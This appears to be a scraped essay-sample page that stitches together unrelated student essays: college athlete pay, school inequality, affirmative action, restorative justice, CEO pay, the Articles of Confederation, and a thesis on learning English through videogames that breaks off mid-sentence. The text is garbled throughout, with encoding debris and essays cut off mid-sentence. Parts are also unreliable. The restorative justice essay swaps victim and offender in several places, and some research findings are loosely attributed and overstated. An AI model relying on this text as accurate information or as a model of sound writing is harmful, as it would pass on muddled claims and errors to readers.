College Players Should Get Paid Essay

In the world, college athletics grows and continues to bring large financial benefits to colleges, universities and even sponsors. This leads to many debates concerning the payment of the athletes. Some people think that scholarship paid to colleges for these student athletes is enough while others claim that the payments might make them to leave the college early for participating in the athletics. Division 1 college athletes should be paid. College athletes put their bodies on the line just like the pros do. Wide receiver Martin Brown tears his ACL and his career in football is over. Defensive tackle Eric Legrand gets paralyzed from the neck down and his career in football is over. Wide receiver Dante Love gets a spinal injury and ends his career in football. Players do a lot for their communities. Like the Santa Ana college football team devoted a whole weekend volunteering in two charity events. Last year Ohio State did community service for a total of about 6,496 hours. Ole Miss has a program call The Ole Miss Rebel Reading Program where they read to local elementary schools. The college athletes bring in a lot of money to their institutions. The players should receive some of this money because without them the schools cannot be able to receive all the popularity and the money. College athletes make enough money for colleges that it would not hurt to give some back. They should take better care of their student-athletes by paying them for their services. Many College athletes live in poverty because the money they get is not sufficient enough to pay for all of the expenses and basic necessities. The athletes that graduate from colleges stay because their parents support them by giving or sending money to them. If college athletes are paid, there would be more athletes graduating from colleges. Paying athletes would be good for everyone and players would be forced to go for college education instead of only concentrating on the sports. The colleges athletes are not allowed to work hence do not get money to purchase the necessities. This leads to players accepting any illegal money, cars, clothes, etc. Most college athletes don’t turn professional, so the athletes won’t have any working experience when they get into the real world. This would give the non-athletes and advantage in the working world over the athletes. Most of the athletes that have the opportunity to leave school and turn professional do so, because college athletes live in near poverty. To avoid all the illegal gains, the athletes should be paid. Maryland’s Gary Williams says â€Å"†¦. some of these guys are pretty poor coming here, and a lot of college students have some money — you feel out of place, you don’t feel competitive academically sometimes, and I think it could do a lot of good† If colleges don’t pay the athletes the professional leagues should. Professional leagues such as the NBA, NHL, NFL, and MLB use colleges as minor leagues. Most of the players in these leagues come from universities across the U.S.A. Since the leagues get the athletes from the universities, they should pay them the same way they league players. College athletes should receive money for all of their needs, or if they can’t do this the athletes should be given the opportunity to work, which will assist them, learn about working in real world.

Inequality in our Education System Essay

Education is vital to all individuals. It is the foundation of one’s development in order to achieve personal distinction. In addition, it also equips people the capacity to properly interact with other people. Education serves as a weapon for survival. It empowers one’s capacity and provides an edge in any endeavor that one wishes to get involved in. For example, in securing a job, a decent   and impressive educational attainment is one of the qualifications necessary in order to get hired.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Schools are designed to provide the adequate needs for attaining quality education. Schools should provide competent teachers, rigorous curriculum and modern facilities and equipments. But few   Americans are aware of the massive disparity and inequality that are consuming the educational system. Although it is not proper and ideal, the social status of an individual greatly affects the quality of education that one receives (Darling- Hammond, 2008, p. 208).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Tracking, in the area of education, recognizes the gap between the low-income, minority students and their well-off peers. Ethnic and linguistic minority students coming from low-income background oftentimes only afford admission to general and vocational courses, thus decreasing their chance, if not totally depriving them from pursuing college education (Mehan and Hubbardm, 1999, n.p). Schools with high concentration of low-income and minority students receive fewer and poor quality learning resources than the other schools within the same district (Darling- Hammond, 2008, p. 208).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Along with medical assistance and social welfare, ideally the education sector should be alloted with a larger portion from the state budget and should be appropriately divided among all the schools. But ironically, educational fund in the United States has also been unequally distributed to all schools. 10% of the wealthiest school district in the most industrialized country spend 10 times more than the 10% least fortunate. The number of poor and minority students are definitely higher in the least funded schools, mostly located at the central cities and rural areas, which is lowly funded than the schools in the suburban districts. Recent study shows that Alabama, New Jersey, New York, Louisiana, and Texas and schools with higher ratio of students of non-White American descent receive fewer resources than schools serving a greater number of White Americans (Darling- Hammond, 2008, p. 208).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   To address the issue of racism within the educational system, the idea of hidden curriculum was coined. Hidden curriculum pertains to the messages passed on by the organization or pedadogical institution apart from their public statements. The hidden curriculum is aimed to teach the students of school routines and to enable students in getting along in school and in the society in general. The messages in hidden curriculum may complement or contradict each other. In a way, it opens the minds of students to the possibility that some of the innate principles and natural laws enclosed within the democratic political system, may not at all times be practiced (Cornbleth. 2008, n.p).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Earlier studies proved that hidden curriculum conveyed in public and private schools were different. Public schools mainly focuses on academic classrooms with an emphasis on things like race, ethnicity, disability, and gender or sexual orientation as well as social class, politics, and culture (Cornbleth, 2008, n.p).   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Over the years, we have overcome indecency caused by racism. As our culture succumbs to the tenets of globalization, people of different faces and races have been drawn closer towards each other. And this trend would ideally suggest equality among people born out of different ethnicities. The irregularities in our education systems rooted from unjust   policies have caused inequality in our schools.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Tracking, has kept the students separated from others based on their skin color and income. Tracking is therefore a form of racism, wherein students coming from different race and low-income background can never avail of the same oppurtunities, benefits and treatment that other students get. School funding policies branch from tracking, where schools serving more students who they believe are from inferior color and race, receive lesser funds than other schools. And last, hidden curriculum disposes messages that rationalized disparity among students.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   In any way, the school shall serve as an institution where values and culture formation is hastened. But if an important and delicate institution like schools inculcate disparity amongst the people, then students and the whole society will be deprived of the rights that everyone must equally enjoy. References Cornbleth, Catherine. (2008). Hidden Curriculum. Retrieved May 3 2008 from http://education.stateuniversity.com/pages/1899/Curriculum-School-HIDDEN-CURRICULUM.html Darling-Hammond, Linda. (2001). Inequality in Teaching and Schooling: How Opportunity Is Rationed to Students of Color in America. In The Right Thing to Do, The Smart Thing to Do Enhancing Diversity in the Health Professions (pp. 208-233). National Academy. Mehan, Hugh and Lea Hubbard. (July 1999). Tracking â€Å"Untracking†: Evaluating the Effectiveness of an Educational Innovation. Retrived May 3 2008 from http://crede.berkeley.edu/research/tier/rb3.shtml

Affirmative Action Essay Example | Topics and Well Written Essays - 750 words - 1

Affirmative Action - Essay Example Affirmative action refers to concrete steps and policies that are developed and implemented not only to eliminate discrimination and prejudice in employment against minorities, but also to attempt to rectify the effects of discrimination that took place in history. Minorities might include any underrepresented group, especially represented by race, ethnicity, or gender. One of the main purposes of implementing affirmative action policies are to address the Constitutional equal opportunity law, which states that all the people have the inborn right to equal access and opportunity to self promotion and self development. This meant that all persons had the right to work for their talents and capabilities rather than being subjected to injustice on the basis of color, cast or gender. There are many reasons why organizations in this globalizing and ever developing world should implement Affirmative action policies. Taking firm steps against racism is the responsibility of everyone in our society; therefore it is a challenge also for the institutions and organizations that make a huge difference to our lives. Elements such as racism and discrimination act as barriers for people with great intellect. Racism is not something that corrects itself with time it is something that is responsible for itself. The disadvantages to people of color and different gender and the benefits to white people especially male are passed on to each succeeding generation unless counteractive decisions are taken. These disadvantages join together into organizational practices which, although might look neutral and unbiased, unfavorably affect these people. It has become extremely necessary to take positive steps to remove and recompense for these inconsiderate policies, even when there i s no noticeable discriminatory meaning. If we do not teach our workforce to accept people for whom they are and what they can do, we can lose on major creative knowledge. A

MediSys_Case_Assignment Case Study Example | Topics and Well Written Essays - 500 words

MediSys_Case_Assignment - Case Study Example Common resources include public resources required by IntensCare team, but are prone exhaustion. 3. The president of the company has the rights of accessing all the information regarding the product being developed. The president can withdraw resources and exclude parts of the product that they consider unsuitable. 6.a) All members of the organization have chances of contributing towards decision making. The president recognizes that all members of the organization have chances to contribute towards decision-making and parallel development environment (Donnellon and Margolis 3). iii) Art Beaumont-He is the president and adopts a bureaucratic leadership style evidenced by the way he functionally organized the company when he was hired. He said that the management style of the company had become more of a command and control and emphasize on technical excellence (Donnellon and Margolis 3) iv) Aaron Garson-He is teamwork oriented and democratic. When he had an idea about patient monitoring system, he invited his friend Peter Fisher in the sales department and the two invited another friend from the software design. v) Bret O’Brien-He is democratic. He emailed other team members when he sensed a problem with fitting data displays and battery units into the customer size specs marketing provided (Donnellon and Margolis

Scholastic Methods in Education Essay Example | Topics and Well Written Essays - 3750 words

Scholastic Methods in Education - Essay Example The scholastic environment, including factors like a supportive school atmosphere and the classroom context as well as language barriers, was determined to be directly related to teacher satisfaction (Lam, 2006; Bai, 1995). As our understanding of how children learn has grown, the many ways we teach children has also improved. The scholastic environment is intended to act as a cushion and protects the psychological well-being of children as they develop (Lam, 2006). Research has indicated that a teacher’s effect on their students is often the result of the students’ psychological responses to the teacher’s behavior (Wei, Brok & Zhou, 2009). Studies have shown that children can begin learning from birth and as they age and grow, their ability to learn new ideas and concepts also grows (Sharp, Ward, and Hankin, 2009). The reputation of a school and its influence on the life of the community invariably depend on the kind of teachers working in it. Of many dimensions , the following facets for measuring Teacher Job Satisfaction include: professionalism, teacher learning, innovation, and interpersonal relations (Suryanarayana and Luciana, 2010) Professionalism relates to job security and social prestige, molding young minds, appreciation from others, and the ability to help students resolve their problems (Suryanarayana and Luciana, 2010). ...  Inter-personal relations are associated with relationships with colleagues, parents, students, higher authorities or any personnel relative to school (Suryanarayana and Luciana, 2010). Despite the establishment of these criterions, measuring the teacher’s level of job satisfaction remains a difficult task (Suryanarayana and Luciana, 2010). It is estimated that 157,000 teachers exit the field every year and an additional 232,000 others change schools in pursuit of better working conditions found in prestigious, higher-performing schools (Alliance for Excellent Education, 2008). Combined, this repre sents approximately 12% of the teaching workforce, excluding the teachers that leave due to retirement (Alliance for Excellent Education, 2008). The exit of teachers from the profession and the movement of teachers away from low-performing schools are costly phenomena in regards to the loss students in the value of being taught by an experienced teacher, schools and districts must recruit and train their replacements, and the overall costs financial of teacher attrition (Alliance for Excellent Education, 2008). Fiduciary repercussions can vary widely by district and may include signing bonuses, subject matter stipends, and other recruiting costs specific to the educational forum, totaling an estimated $7.34 billion to hire, recruit, and train the replacement teachers (Alliance for Excellent Education, 2008).

Exam question Essay Example | Topics and Well Written Essays - 3750 words

Exam question - Essay Example Restorative justice is less punitive than the traditional justice system which requires the offender to suffer some kind of fine or incarceration. Restorative justice focuses on the needs of the victim and the wider community. Instead of being punished alone, restorative justice focuses on getting the offender to take responsibility for his actions. In doing this, the victim might have to admit his guilt and take actions to either apologise to the victim or reinstate the victim in lieu of all the losses suffered. In other cases, the offender undergoes community service. The motive of restorative justice is to focus on the personal needs of the victim. Stated differently, the approach of sending offenders to jail and getting them to pay fines to the state does not seem to provide direct satisfaction to the victims. This is because it seems impersonal and the victim does not get any kind of restitution or reparation. However, in the case of restorative justice, the victim gets the oppo rtunity to be given what s/he lost in an offence. If it is not possible to give back, the offender might render an apology and promise not to do so again. This fosters communal relations and promotes reformation (b) What are the aims of Restorative Justice? The Crown Prosecution Service outlines three main aims of restorative justice. The first aim is to promote victim satisfaction. In other words, there is evidence that the traditional approach of criminalising offences and imprisoning offenders does not seem to satisfy victims. Rather, it only keep the offenders away and there is no contact between them and victims. Restorative justice provides a system of reducing fear and tensions between the victim and the perpetrator. Also, in a sense, the apology of the victim and compensation [which is not a feature of traditional courts] can satisfy a victim emotionally. In another sense, the compensation or restitution paid by a victim can prove to be helpful in assisting victims to get ba ck to their former position. The second aim of restorative justice is to foster some form of engagement between the victim and perpetrator. The idea is to provide an important platform through which the victim can tell the perpetrator what he things. Also, the perpetrator can accept his guilt, and apologise for his part in the situation. The victim becomes aware of his actions and the consequences. Through, this he voluntarily accepts the obligation to do something for the victim and community in order to make amends. This makes the whole process of punishment more personal and constructive. The third aim of restorative justice is that it creates community capital. In other words, it enables the community to get a win-win criminal justice system in which people are punished adequately and proportionately. Also, offenders are made aware of the scope of their actions and this prevents them from reoffending. In this sense, the community builds some degree of confidence in the justice s ystem and makes them fell more secured and protected by the law. 2. (a) What are the advantages and disadvantages of Restorative Justice (taking account of the variety of ‘stakeholders’ who are, or might be, affected by it)? There are some advantages of restorative justice. First of all, restorative justice improves the outcome of court's decision because the victims get the chance to

Review of a memoir Essay Example | Topics and Well Written Essays - 1250 words

Review of a memoir - Essay Example In her previous years, she was used to eating sea slugs in summers. This was however a practice that she only did during this time in another region. Moving to other regions would teach her various ways of living with diverse culture. Encountering a change in eating diets changed her way of viewing life since they were different altogether. Meanwhile, during her stay, she found herself in a soap opera as a fearless Jiexy, who was aggressive and sexy altogether. During these acting sessions, she was exposed to a number of challenges. First, she is acting in another country where the people use a different language and have different way of life. With such prevalent situations, she was forced to cope up with the language and way of life. Though this was a hard task, she seemed to be well prepared to tackle this challenge. Secondly, she was not familiar with the culture of this place. Therefore, the change in culture would be a setback in her acting career. This was a stage where she ha d to engage with the new culture to make the possible moves that would be relevant to the soap opera in china. Though she was finding it hard to cope with the china culture, she was excellent in the acting career (DeWoskin 10). Thirdly, she had a challenge in merging the two cultures. On one hand, she had to act a role in a soap opera, which displayed the Chinese culture. ... This is similar to a person that is living a double life. People that live double lives have to make sure they make possible changes to remain relevant at any given point. Otherwise, if they do not change their way of life and culture at different points, they are not likely to remain relevant. For instance, when acting in a Chinese soap opera, the actors should display the Chinese culture and all other aspects that are closely related to the Chinese culture. Similarly, she will have to stick to the culture she has been interacting with all these rime. However, copying the other culture without becoming relevant it will not show impressive results especially to the concerned parties. Apparently, she learned the new ways of living and the different cultures in a short while and was excellent in living in between two cultures that are explicitly different (DeWoskin 11). Though she was used to the Chinese culture, there are some instances that displayed bizarre incidence. For instance, companies in the country were in large numbers while consumerisms were highly adored. In deeper insights, DeWoskin is interested on how the Chinese view foreign women. Similarly, she is interested on how Chinese men view the foreigners in their country. For instance, it is explicitly seen that there is a tendency of Chinese men seducing foreign women in the country. With such instances, it is clear that the Chinese men are in love with the outside world and would wish to be associated with such kinds. Similarly, Chinese masses would wish to see the foreigners dressed in coats with fur, shining jewelry and suggestive dresses. This is the notion that is created in China as they would wish to see foreigners that are dressed in fur coats,

Self-Portraits. Journal Essay Example | Topics and Well Written Essays - 750 words - 2

Self-Portraits. Journal - Essay Example Using a journal format prevents these ideas from sounding like second hand information, and makes his ideas known as well as interesting. As an artist that depicts people most of the time, I am highly interested in expressing the different emotions that humans are highly capable of showing. The various people I have painted also includes myself, simply due to being a quick subject to study on, as well as me being the most easy-to-find model around. I have shown this through the numerous self-portraits I have painted throughout my lifetime, which is roughly 10% of the bulk of my artworks (van de Wetering, 2005). However, it is not only I but also other artists of my time like Gerard Dou and Frans van Mieris made a considerable number of self-portraits as well, which does not make my output sound unique during that period. Throughout my entire career, it can be observed that my self-portraits also change along with my age and preferred methods of painting, which in a way would also tell the viewers my life as if it were a running timeline (van de Wetering, 1997). I am able to do so by using a mirror while looking at it as I paint (Berger, 2000). Not only are people able to see how I have aged, but also they could also see the different techniques that I have acquired, which resulted in my unique style of layering multiple brush strokes until the surface almost looks like it was sculpted and molded, not painted on (van de Wetering, 1997). My artistic choices in composition can be viewed as rather dark or muted, but as I have progressed in my profession, a certain drama can be seen in the sharp contrast of light and shadow. This is regarded as one of my most distinguishing styles, the chiaroscuro, which is one of my ways to show my non-conformist ideals with regards to how and what I paint (van de Wetering, 1997). The prominence of my choice of dark

US CEO's pay Essay Example | Topics and Well Written Essays - 1000 words

US CEO's pay - Essay Example Since the mid-1970’s, for roughly 40 years, the pay of top executives rose at a modest rate. However, executive compensation started shooting up tremendously in 1980 and this pace even accelerated in 1990’s. Notwithstanding dipping in the stock in the early 2000’s, the CEO’s, the CEO’s package has continued shooting higher. An average CEO of a large company in the US earned around 24 times the compensation of a typical worker. (Jacob and Paul, 2010) In the mid-1980’s, at the time of the economic boom, US executives were being paid the most lucrative salaries in history and this continued even during recession in 1990’s. This was perceived as unfair to both laid off employees and stockholders. (www.findarticles.com) Up to 2003, the American Chief Executives average compensation rose by a factor of about six in America’s top five hundred companies. Their average pay reached around eleven million per year inclusive of the value of the options. This is not comparable to CEO’s pay in any country. For example, Swedish Chief Executives received roughly a quarter of their American counter parts. In 2007, the CEO’s pay accelerated towards three hundred times that of a typical worker. Executives of top companies made more than twelve million US dollar in that year. (Tyler, 2006) Scholars Xavier Gabaix of Massachussetts University and Augistin Landier of the stern school of business argue that American executives are not overpaid. They suggest that increase in the value of stock market largely explains the high packages of Chief Executive officers. This argument is simple. It suggests that more economic value is created by better executive decisions. If the number of good executives is less than the number of big companies, the value of the executive talent will be pushed up by competitive bidding. Thus, the value of Chief executive officers compensation packages results from competitive

After the Ratification of the Declaration of Independence Essay Example for Free

After the Ratification of the Declaration of Independence Essay After the ratification of the Declaration of Independence, establishing the united colonies as Free and Independent States, the Continental Congress set to work on the task of drawing up a document that would provide a legal framework for that Union, and which would be enforceable as the law of the new land. The Articles were written during the early part of the American Revolution by a committee of the Second Continental Congress of the now independent thirteen sovereign states. The head of the committee, John Dickinson, who had refused to sign he Declaration of Independence, nevertheless adhering to the will of the majority of the members of the Continental Congress, presented a report on the proposed articles to the Congress on July 12, 1776, eight days after the signing of the Declaration of Independence. Dickinson initially proposed a strong central government, with control over the western lands, equal representation for the states, and the power to levy taxes. Because of their experience with Great Britain, the 13 states feared a powerful central government. Consequently, they changed Dickinsons proposed articles rastically before they sent them to all the states for ratification in November 1777. The Continental Congress had been careful to give the states as much independence as possible. The Articles deliberately established a confederation of sovereign states, carefully specifying the limited functions of the federal government. Despite these precautions, several years passed before all the states ratified the articles. The delay resulted from preoccupation with the revolution and from disagreements among the states. These disagreements included quarrels over boundary lines, conflicting ecisions by state courts, differing tariff laws, and trade restrictions between states. The small states wanted equal representation with the large states in Congress, and the large states were afraid they would have to pay an excessive amount of money to support the federal government. In addition, the states disagreed over control of the western territories. The states with no frontier borders wanted the government to control the sale of these territories so that all the states profited. On the other hand, the states bordering the frontier wanted to control as much land as they could. Eventually the states agreed to give control of all western lands to the federal government, paving the way for final ratification of the articles on March 1, 1781, Just seven and a half months before the surrender of Lord Cornwallis and his British Army at Yorktown, October 19, 1781, the victory ended fighting in the War of Independence and virtually assured success to the American cause. Almost the entire war for five long years had been prosecuted by the members of the Second Continental Congress as representatives of a loose federation of states with no resources and reputations. Under the Articles, on paper, the Congress had power to regulate foreign affairs, war, and the postal service and to appoint military officers, control Indian affairs, borrow money, determine the value of coin, and issue bills of credit. In reality, however, the Articles gave the Congress no power to enforce its requests to the states for money or troops, and by the end of 1786 governmental effectiveness had broken down. Nevertheless, some solid accomplishments had been achieved: certain state claims to western lands were settled, and the Northwest Ordinance of 1787 established the undamental pattern of evolving government in the territories north of the Ohio River. Equally important, the Confederation provided the new nation with instructive experience in self-government under a written document. In revealing their own weaknesses, the Articles paved the way for the Constitutional Convention of 1787 and the present form of U. S. government. The Articles were in force from March 1, 1781, to March 4, 1789, when the present Constitution of the United States went into effect. During those years the 13 states were struggling to achieve their independent status, and the Articles of Confederation stood them in good stead in the process and exercise of learning self- government. The articles created a loose confederation of independent states that gave limited powers to a central government. The national government would consist of a single house of Congress, where each state would have one vote. Congress had the power to set up a postal department, to estimate the costs of the government and request donations from the states, to raise armed forces, and to control the development of the western territories. With the consent of nine of the thirteen states, Congress ould also coin, borrow, or appropriate money as well as declare war and enter into treaties and alliances with foreign nations. There was no independent executive and no veto of legislation. Judicial proceedings in each state were to be honored by all other states. The federal government had no judicial branch, and the only Judicial authority Congress had was the power to arbitrate disputes between states. Congress was denied the power to levy taxes; the new federal government was financed by donations from the states based on the value of each states lands. Any amendment to the articles required the unanimous approval of all 13 states. In attempting to limit the power of the central government, the Second Continental Congress created one without sufficient power to govern effectively, which led to serious national and international problems. The greatest weakness of the federal government under the Articles of Confederation was its inability to regulate trade and levy taxes. Sometimes the states refused to give the government the money it interstate commerce. The government could not pay off the debts it had incurred uring the revolution, including paying soldiers who had fought in the war and citizens who had provided supplies to the cause. Congress could not pass needed measures because they lacked the nine-state majority required to become laws. The states largely ignored Congress, which was powerless to enforce cooperation, and it was therefore unable to carry out its duties. After the Colonial victory in the Revolutionary War, it became obvious to the Founding Fathers that the original attempt would not be equal to the task of providing the equitable law which they sought. Congress could not force the states to adhere to the terms of the Treaty of Paris of 1783 ending the American Revolution, which was humiliating to the new government, especially when some states started their own negotiations with foreign countries. In addition, the new nation was unable to defend its borders from British and Spanish encroachment because it could not pay for an army when the states would not contribute the necessary funds. Leaders like Alexander Hamilton of New York and James Madison of Virginia criticized the limits placed on the central government, and General George Washington is said o have complained that the federation was little more than a shadow without substance. On February 21, 1787, Congress called for a Constitutional Convention to be held in May to revise the articles. Between May and September, the convention wrote the present Constitution for the United States, which retained some of the features of the Articles of Confederation but gave considerably more power to the federal government. The new Constitution provided for executive and Judicial branches of government, lacking in the Articles, and allowed the government to tax its citizens.

Learning English Through Videogames

Learning English Through Videogames This paper presents a study of the viewpoints on video game playing toward second/foreign language learning among ESL/EFL students in Xalapa, Veracruz. The results showed that students insights on playing video games aimed at foreign language learning were positive. This paper also made a comparison with factors such as gender and years of playing that support these insights. The results indicated that types of games and English proficiency have strong influences on students perceptions. This papers purpose is to present several of the latest theories in videogame studies and new media literacies, in addition to theories of language learning. Several examples are shown of how computer video games and web applications such as The Sims 2, Grim Fandango, jumpcut, Apple imovie, Windows movie maker and others could radically change the way in which we approach language learning and instruction. Introduction The role of technology as an alternative tool for instruction of English foreign language learners increases as educators recognize its possibilities to create both independent and collaborative learning environments in which students can acquire, immerse and practice a new language (Butler-Pascoe, 1997). Through the use of the Internet, word processors, video games multimedia, and practice programs, students can engage in individualized instruction designed to meet their specific needs and participate in cooperative projects that will foster communication with peers in their classrooms and throughout the global community. This research focuses on the potential of video games as a powerful tool for foreign language instruction and acquisition. This is a very important topic for many reasons, the least of which is that so many people do not really understand this medium and regard it in the worst possible manner. What many outsiders of the video game culture do not understand is that video games can be an expressive and interesting medium that can easily compete with the best that other mediums have to offer, and, like any type of expressive medium before them, video games have gone through a harsh trial by those who are bigoted, uninformed and prejudiced against this medium. This paper provides a great opportunity to explain why computers and video games can take an important part in language learning, and why therein we have an extraordinary opportunity to educate, not only our children but the population at large through video games. Video games can provide the ability to shape events, environments and positions in a way which is not feasible through any other medium. According to Larson (1999) and Li (1999), the transactional nature and the pedagogical relevance of some state-of-the-art videogame-based interactive technologies make videogames a viable vehicle for foreign language learning. This thesis aims to reach the following objectives: 1. to make the reader aware of new learning strategies and possibilities for all types of learners; 2. to discover students views on the feasibility of videogames for language learning and instruction; 3. to suggest a new range of activities that can be performed in a classroom using videogames. This thesis firstly discusses findings from various research studies, as well as current language teaching methodologies, in order to explain how video games can contribute to language acquisition by evaluating several video game genres and emphasizing that virtual pet, simulation and RPG (Role playing games) are beneficial for language acquisition. It also provides various sample activities that can be performed in the ESL classroom using video games in their own right. Secondly, the context and participants are presented as well as a research instrument, after which the data is analyzed and given an interpretation and finally pedagogical implications are presented. Chapter 1: Literature review This chapter firstly attempts to explain why videogames can be suitable for learning a language based on several studies that are described next. Secondly, it also outlines how videogames are slowly being incorporated into the field of education. Thirdly, it provides the readers with an overview on videogames and modding and finally how teachers can benefit their lessons from modding and how it can be used in the ESL/EFL classroom. 1. Videogames and Research Using video games to educate has long been a much thought-of goal, yet rarely an achieved one. Although video games may not yet be able to educate users in a content area effectively, language learners may benefit from video games. Educational software developers have struggled to present a substantial amount of content and context without sacrificing the degree of control game players expect. Very little research has specifically targeted language acquisition through video games; however, various studies carried out over the years in several universities of the U.S, England and Sweden with students of different majors, as well as current language teaching methodologies support the use of video games to learn language. Interestingly, in one study Hulstijn Laufer (2001) found that language acquisition may hinge on the level of involvement in a task, and video game players are often quite immersed in game play, a trait that may enable them to acquire language, since video games often contain simultaneously presented aural and textual language. Another study done by Prensky (2006) suggests that videogames allow learners to analyze and decode language at their own pace. During game play learners may use one input channel to decode the other because videogame players have a great deal of control over the game play (various in-game choices can be made, games can be paused, actions can be repeated, and conversations can sometimes be initiated at the players own beck and call. Dornyei Clement (2001, p.399) claimed that one of the main premises for using video games to educate has been to harness learners motivation. Although, motivation is a crucial element in language learning, motivation alone does not guarantee the acquisition of a language. This was stated in another study performed by Prensky (2004) who found out that one of the most difficult things teachers had to do was to aim for a balance between video game interaction and learning its language which may result too strenuous for some players cognitive abilities. Nevertheless, Brett (2001) emphasizes in his research that the natural repetition which is present in video games, such as the constant set-up of mini-battles in role-playing games and the frequent use of interactive menus in virtual pet and simulation games, allows a language learner to be continuously exposed to the target language and creates more opportunities for acquisition to occur as opposed to other media, such as movies or books, which often do not reuse the same vocabulary or grammar, making acquisition more difficult and slow-paced. Interestingly enough, the repetition in video games allows a language learner to use their own initiative to use known language (semantic context, vocabulary or grammar) to decode unknown elements through constant exposure. Furthermore, Crawford (2003, p.261) made a stunning discovery in his research when he stated that a videogame provides players with a useful kinesthetic link to its language resulting in players having to give a total physical response to actions prompted. Total Physical Response (TPR) activities are used in order to connect the language item whether, vocabulary or grammar, to a physical action, hopefully making the language easier to grasp, which is quite similar in videogames where players perform on-screen actions that may serve to link the language they learn to their native language. 2. Video Games and Education Video games evoke different emotions in people. Some might perceive them as nothing more than a tool of entertainment, while others might consider them useless and tools of bad influence. Academics, such as Gee (2005, p.13), will say that video games are a new form of interactive media worthy of academic multidisciplinary study regardless of what videogames may be, it is a well-known fact that they are a distinct yet entertaining way for youngsters to spend their time. It comes as no surprise that many educators and teachers are trying to add video games to their lessons and curricula design both to catch and retain the attention of students, not to mention to enhance the course content and likability. Many business, medicine, and law schools in northern Europe are implementing video games such as Kristens Cookies, Dexter and Objection as part of their curricula, whilst other schools introduce more commercially known titles, for example Brain Age and Trauma Center to their science and math courses. According to Hoggs research (2006) carried out in some European universities, students motivation and therefore grades, have soared exponentially as opposed to slump since the implementation of video games in their curricula. Video games have become increasingly widespread in their use, both as a hobby and as an educational tool. ESL teachers should be no exception and be able to make use of this technology to help students in teaching grammar points as much as in developing students speaking ability. 3. Video Games and Modding For over twenty years there have been many attempts at designing educational software with all of them resulting in failure and thus a sense of hopelessness prevailed through much of the educational software community. Fortunately, the emergence of new models have made education and entertainment games stop competing with one another. If we look at todays entertainment video games, many will be nothing like the games prevalent in the late 90s when educators and game developers first teamed up in an attempt to insert artificial learning moments inside games. Back then, in-game worlds were relatively fixed and did not have much depth whatsoever, enabling the player only to play out the action of a pre-programmed story. Today, nonetheless, according to Hansson (2005) games are presumably more open-ended, with many of them encouraging players to take an active role in the construction of the game itself through the use of various mod tools. The term mod means modification, in videogame terms mod refers to a user made add-on to an already existing game. For example, one of 2007s best selling video games, The Sims 2 does not determine any explicit goal or winning outcome. Rather, the game presents itself as an open-ended virtual doll house in which users play out and share stories with one another should they choose to. As a result of the enormous flexibility of this game, thousands of players created content add-ons or game modifications now available for free on the web. Surprisingly enough, so far, little has been attempted by educators to use the extensive mod tools available for The Sims 2 to implement learning content in a way that naturally integrates with the in-game experience (Goldfayn, 2006). However, mod tools provide full access to all the language data used in all the different international versions of a game. This allows curriculum designers to easily manipulate popular video games to create opportunities for foreign language learning. Johnson,( 2005, p.191) claims that for most educational disciplines, the main rule when choosing a video game to be modded is that the closer the original contents of the game are to the educational discipline involved, the smoother the process will be. Most people play video games nowadays and everyone seems to work on a computer, so learning a foreign language through video games can be as viable as learning it through traditional classroom instruction. For example, in order to make a game like Civilization III relevant to a history classroom, one simply needs to edit a few maps, scenarios and variables; while a game like The Sims 2 actually does have a distinct similarity between the contents of the game and the contents of an introductory language textbook (parts of the body, furnishing the house, finding a job/professions, emotions, etc), the fact that almost all games use language in one way or another allows a far wider range of games to be modded for usage in foreign language learning than other educational disciplines. 4. Modding in ESL There has been a recent increase in the number of game environments or engines that allow users to customize their gaming experiences by building and expanding game behavior. What is described here is the use of modifying, or modding, existing games as a means to learn English. A case of game modding in classroom settings is described to illustrate skills learned by students as a result of modding existing games, in this case the game which was modded is The Sims 2. Below are some examples of how you can mod a videogame to suit your needs as a teacher as well as your students. These are two sample activities that have been put into practice by teachers such as Mylene Catel, (http://www.mylenejcatel.com/) who have put an enormous amount of effort into this. Simply by playing the modded version of the game (The Sims 2), students are gradually exposed to heavy amounts of reading practice in the foreign language. However, designing specific reading comprehension tasks helps the teacher assess learning better. Next, I describe an activity which can be performed using the previously mentioned game: Step 1. Students write a description of their favorite imaginary landscape in the foreign language including any number of specific details (There is a pristine water creek, there are many leafy trees in which birds gather to chirp, There is a family having a picnic nestled under the trees , etc). Step 1.5. The teacher helps correct any mistakes in the students descriptions. Step 2. Students randomly exchange their descriptions with one another via the game. Step 3. Use the cheat mode to give students unlimited money. Step 4. Students avail themselves of a mod tool given by the teacher and create the landscape outlined in their description. Step 4.5. The teacher assesses how many of the specific details students correctly incorporated into their creations. Step 5. Students once again exchange their finished descriptions. Step 6. Students verbally describe to one another their creation. Students try to discern which landscape is the one they originally designed. Chapter 2: Methodology This research was conducted in order to determine whether playing videogames plays a significant role in the personal development and learning of a second language. It weighs the pros and cons of using this medium for learning and expresses what videogames are suitable for learning English and what videogames can enhance students reading, listening and speaking skills. I opted to obtain the view of language students from different schools. Specifically, students aged 18-25 from 2 schools within Xalapa were selected for this task, 10th semester students of the teaching area from the English B.A of the Universidad Veracruzana and advanced level students from Bristol Institute as informants from December 2007 to April 2008. Selected participants answered a questionnaire about the role of videogames in ESL/EFL learning. In order to determine whether videogames play an important role in learning English more efficiently, a total of 20 respondents were asked to participate, 10 of them were from the Universidad Veracruzana and the other 10 were Bristol students. Instrument. A questionnaire was administered to collect as much data as possible. The questionnaire consisted of 10 open-ended questions of which five questions had to do with the participants learning English through videogames and the other five questions had to do with the participants views on whether or not videogames have enhanced their learning and comprehension of a foreign language. To achieve pertinent information, certain inclusion criteria were imposed. The participants chosen had to be students who had been studying English for at least 4 years. This qualification ensured the participants understanding the nature of this questionnaire and its use for teaching English, making the questionnaire items easy for them to understand. My 